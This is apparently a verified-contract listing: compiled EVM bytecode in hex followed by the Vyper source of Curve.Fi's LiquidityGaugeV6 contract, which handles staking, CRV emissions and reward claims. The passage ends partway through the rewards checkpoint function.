f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d841929658118801880a16576797065728300030a001600000000000000000000000068e26daf88da63bebd3da05fc9c880fa37080d3e
5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d1875a83e3e7f2631d098894c0de40b26a5f79ebf58fabb90ce2b172c4823bb520000000000000000000000000000000000000000000000000000000000000001704e7f9271b44dcd4b55653a464297d1fc011bdad719dc08bf056682283f3accb0e573d69dacdfbb4ab75a5f841a81506f1751eeb44f08f63927baa311f7b7e1
# pragma version 0.3.10 # pragma optimize gas # pragma evm-version shanghai """ @title LiquidityGaugeV6 @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Implementation contract for use with Curve Factory @dev Differs from v5.0.0 in that it uses create_from_blueprint to deploy Gauges """ from vyper.interfaces import ERC20 implements: ERC20 interface CRV20: def future_epoch_time_write() -> uint256: nonpayable def rate() -> uint256: view interface Controller: def checkpoint_gauge(addr: address): nonpayable def gauge_relative_weight(addr: address, time: uint256) -> uint256: view interface ERC20Extended: def symbol() -> String[32]: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface Factory: def admin() -> address: view interface Minter: def minted(user: address, gauge: address) -> uint256: view interface VotingEscrow: def user_point_epoch(addr: address) -> uint256: view def user_point_history__ts(addr: address, epoch: uint256) -> uint256: view interface VotingEscrowBoost: def adjusted_balance_of(_account: address) -> uint256: view event Deposit: provider: indexed(address) value: uint256 event Withdraw: provider: indexed(address) value: uint256 event UpdateLiquidityLimit: user: indexed(address) original_balance: uint256 original_supply: uint256 working_balance: uint256 working_supply: uint256 event CommitOwnership: admin: address event ApplyOwnership: admin: address event SetGaugeManager: _gauge_manager: address event Transfer: _from: indexed(address) _to: indexed(address) _value: uint256 event Approval: _owner: indexed(address) _spender: indexed(address) _value: uint256 struct Reward: token: address distributor: address period_finish: uint256 rate: uint256 last_update: uint256 integral: uint256 MAX_REWARDS: constant(uint256) = 8 TOKENLESS_PRODUCTION: constant(uint256) = 40 WEEK: constant(uint256) = 604800 VERSION: constant(String[8]) = "v6.1.0" # <- updated from v6.0.0 (makes rewards semi-permissionless) EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(VERSION) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) CRV: constant(address) = 0xD533a949740bb3306d119CC777fa900bA034cd52 GAUGE_CONTROLLER: constant(address) = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB MINTER: constant(address) = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 VEBOOST_PROXY: constant(address) = 0x8E0c00ed546602fD9927DF742bbAbF726D5B0d16 VOTING_ESCROW: constant(address) = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2 # ERC20 balanceOf: public(HashMap[address, uint256]) totalSupply: public(uint256) allowance: public(HashMap[address, HashMap[address, uint256]]) name: public(String[64]) symbol: public(String[40]) # ERC2612 nonces: public(HashMap[address, uint256]) # Gauge factory: public(address) manager: public(address) lp_token: public(address) is_killed: public(bool) # [future_epoch_time uint40][inflation_rate uint216] inflation_params: uint256 # For tracking external rewards reward_count: public(uint256) reward_data: public(HashMap[address, Reward]) # claimant -> default reward receiver rewards_receiver: public(HashMap[address, address]) # reward token -> claiming address -> integral reward_integral_for: public(HashMap[address, HashMap[address, uint256]]) # user -> [uint128 claimable amount][uint128 claimed amount] claim_data: HashMap[address, HashMap[address, uint256]] working_balances: public(HashMap[address, uint256]) working_supply: public(uint256) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint integrate_inv_supply_of: public(HashMap[address, uint256]) integrate_checkpoint_of: public(HashMap[address, uint256]) # ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint # Units: rate * t = already number of coins per address to issue integrate_fraction: public(HashMap[address, uint256]) # The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint # All values are kept in units of being multiplied by 1e18 period: public(int128) # array of reward tokens reward_tokens: public(address[MAX_REWARDS]) period_timestamp: public(uint256[100000000000000000000000000000]) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint integrate_inv_supply: public(uint256[100000000000000000000000000000]) # bump epoch when rate() changes @external def __init__(_lp_token: address): """ @notice Contract constructor @param _lp_token Liquidity Pool contract address """ self.lp_token = _lp_token self.factory = msg.sender self.manager = tx.origin symbol: String[32] = ERC20Extended(_lp_token).symbol() name: String[64] = concat("Curve.fi ", symbol, " Gauge Deposit") self.name = name self.symbol = concat(symbol, "-gauge") self.period_timestamp[0] = block.timestamp self.inflation_params = ( (CRV20(CRV).future_epoch_time_write() << 216) + CRV20(CRV).rate() ) NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # Internal Functions @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _checkpoint(addr: address): """ @notice Checkpoint for a user @dev Updates the CRV emissions a user is entitled to receive @param addr User address """ _period: int128 = self.period _period_time: uint256 = self.period_timestamp[_period] _integrate_inv_supply: uint256 = self.integrate_inv_supply[_period] inflation_params: uint256 = self.inflation_params prev_future_epoch: uint256 = inflation_params >> 216 gauge_is_killed: bool = self.is_killed rate: uint256 = inflation_params % 2 ** 216 new_rate: uint256 = rate if gauge_is_killed: rate = 0 new_rate = 0 if prev_future_epoch >= _period_time: future_epoch_time_write: uint256 = CRV20(CRV).future_epoch_time_write() if not gauge_is_killed: new_rate = CRV20(CRV).rate() self.inflation_params = (future_epoch_time_write << 216) + new_rate # Update integral of 1/supply if block.timestamp > _period_time: _working_supply: uint256 = self.working_supply Controller(GAUGE_CONTROLLER).checkpoint_gauge(self) prev_week_time: uint256 = _period_time week_time: uint256 = min((_period_time + WEEK) / WEEK * WEEK, block.timestamp) for i in range(500): dt: uint256 = week_time - prev_week_time w: uint256 = Controller(GAUGE_CONTROLLER).gauge_relative_weight(self, prev_week_time) if _working_supply > 0: if prev_future_epoch >= prev_week_time and prev_future_epoch < week_time: # If we went across one or multiple epochs, apply the rate # of the first epoch until it ends, and then the rate of # the last epoch. # If more than one epoch is crossed - the gauge gets less, # but that'd meen it wasn't called for more than 1 year _integrate_inv_supply += rate * w * (prev_future_epoch - prev_week_time) / _working_supply rate = new_rate _integrate_inv_supply += rate * w * (week_time - prev_future_epoch) / _working_supply else: _integrate_inv_supply += rate * w * dt / _working_supply # On precisions of the calculation # rate ~= 10e18 # last_weight > 0.01 * 1e18 = 1e16 (if pool weight is 1%) # _working_supply ~= TVL * 1e18 ~= 1e26 ($100M for example) # The largest loss is at dt = 1 # Loss is 1e-9 - acceptable if week_time == block.timestamp: break prev_week_time = week_time week_time = min(week_time + WEEK, block.timestamp) _period += 1 self.period = _period self.period_timestamp[_period] = block.timestamp self.integrate_inv_supply[_period] = _integrate_inv_supply # Update user-specific integrals _working_balance: uint256 = self.working_balances[addr] self.integrate_fraction[addr] += _working_balance * (_integrate_inv_supply - self.integrate_inv_supply_of[addr]) / 10 ** 18 self.integrate_inv_supply_of[addr] = _integrate_inv_supply self.integrate_checkpoint_of[addr] = block.timestamp @internal def _checkpoint_rewards(_user: address, _total_supply: uint256, _claim: bool, _receiver: address): """ @notice Claim pending rewards and checkpoint rewards for a user """ user_balance: uint256 = 0 receiver: address = _receiver if _user != empty(address): user_balance = self.balanceOf[_user] if _claim and _receiver == empty(address): # if receiver is not explicitly declared, check if a default receiver is set receiver = self.rewards_receiver[_user] if receiver == empty(address): # if no default receiver is set, direct claims to the user receiver = _user reward_count: uint256 = self.reward_count for i in range(MAX_REWARDS): if i == reward_count: break token: address = self.reward_tokens[i] integral: uint256 = self.reward_data[token].integral last_update: uint256 = min(block.timestamp, self.reward_data[token].period_finish) duration: uint256 = last_update - self.reward_data[token].last_update if duration != 0 and _total_supply != 0: self.reward_data[token].last_update = last_update integral += duration * self.reward_data[token].rate * 10**18 / _total_supply self.reward_data[token].integral = integral if _user != empty(address): integral_for: uint256 = self.reward_integral_for[token][_user] new_claimable: uint256 = 0 if integral_for < integral: self.reward_integral_for[token][_user] = integral new_claimable = user_balance * (integral - integral_for) / 10**18 claim_data: uint256 = self.claim_data[_user][token] total_claimable: uint256 = (claim_data >> 128) + new_claimable if total_claimable > 0: total_claimed: uint256 = claim_data % 2**128 if _claim: assert 